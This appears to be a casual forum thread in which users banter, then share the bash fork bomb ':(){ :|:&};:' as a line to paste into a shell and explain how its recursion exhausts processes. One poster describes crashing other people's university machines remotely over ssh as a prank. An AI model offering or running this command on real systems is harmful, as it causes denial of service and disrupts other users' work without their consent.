HIMEOBS ---> Dead.

[saint aini]

bash# sudo shutdown --Ph now

[Idem]

I hate you all so very very much.

please to be dying in a fire

kthxdie

Youre the one that revived the thread.

[saint aini]

I hate you all so very very much.

please to be dying in a fire

kthxdie

Youre the one that revived the thread.

function motherfucker ($WAYSA) {
if (isset($WAYSA)) {
killamotherfucker();
}
else {
echo ("The are dead");
}
}

[The Good Reverend Roger]

I hate you all so very very much.

please to be dying in a fire

kthxdie

Youre the one that revived the thread.

function motherfucker ($WAYSA) {
if (isset($WAYSA)) {
killamotherfucker();
}
else {
echo ("The are dead");
}
}

Quit babbling that devil-speech, lady.

This here is a NORMAL town.

[Triple Zero]

:(){ :|:&};:

(for copypasting to your bash prompt)

[saint aini]

){ :&};:

(for copypasting to your bash prompt)

I'm curious to find out, but I need to find a live CD first in my collection.

[theCalmpsychopath]

i didn't work

[Idem]

[Triple Zero]

i didn't work

did you also copy the space after the opening curly bracket? it's important

otherwise, it might be that your computer is too fast

The shortest, most elegant one I know of doesn't even require a compile:

Just type in :(){ :|:&};: at the bash prompt and hit return.

By the way, the fork bomb has lost its bite on modern hardware (under i386 running Linux, at least) because it will die out when the upper limit of processes is reached, and pretty much any processor above Pentium level won't be overworked in getting there.

though i can get the speedy computers at the university to crash reliably with it

's very fun, just ssh to someone's machine from another terminal, and watch the expression on their face as their mousecursor stops moving

(i'm usually nice enough to walk by first, check if they aren't writing a huge report or anything, but if they're just surfing .. bombs away :) )

[Shibboleet The Annihilator]

Do you know why it makes the machine crash?

[theCalmpsychopath]

it won't die, not on my watch

[Triple Zero]

Do you know why it makes the machine crash?

yeah.

: is a valid identifier name in the bash programming language, so

:() {
  ... something ..
}

defines a function.

:|:& means this function calls itself and pipes (|) it to itself in a separate process (&), recursively, so there's two, four, eight etc processes.

; is the separator for a new statement

the final : actually calls the just defined function.

so this little bit of code will eat up infinite resources and crash the computar (unless the OS does something about it before it's too late)

[saint aini]

Do you know why it makes the machine crash?

yeah.

: is a valid identifier name in the bash programming language, so

) {
  ... something ..
}

defines a function.

:& means this function calls itself and pipes (|) it to itself in a separate process (&), recursively, so there's two, four, eight etc processes.

; is the separator for a new statement

the final : actually calls the just defined function.

so this little bit of code will eat up infinite resources and crash the computar (unless the OS does something about it before it's too late)

Given that I program in php every day or so and know about pipes, congrats on confusing me.

[Triple Zero]

i turned off the smileys in my post, that should help a bit

you know what a fork bomb is i suppose?

http://www.everything2.com/index.pl?node=fork%20bomb

afaik, the famous hacker/securityguy named lcamtuf invented this very short ascii-garbage forkbomb

[saint aini]

i turned off the smileys in my post, that should help a bit

you know what a fork bomb is i suppose?

http://www.everything2.com/index.pl?node=fork%20bomb

afaik, the famous hacker/securityguy named lcamtuf invented this very short ascii-garbage forkbomb

Well, now I do.

I have found accidentally written logic bombs and browser bombs...

A script that echos an infinite or large number of table divisions can crash IE7.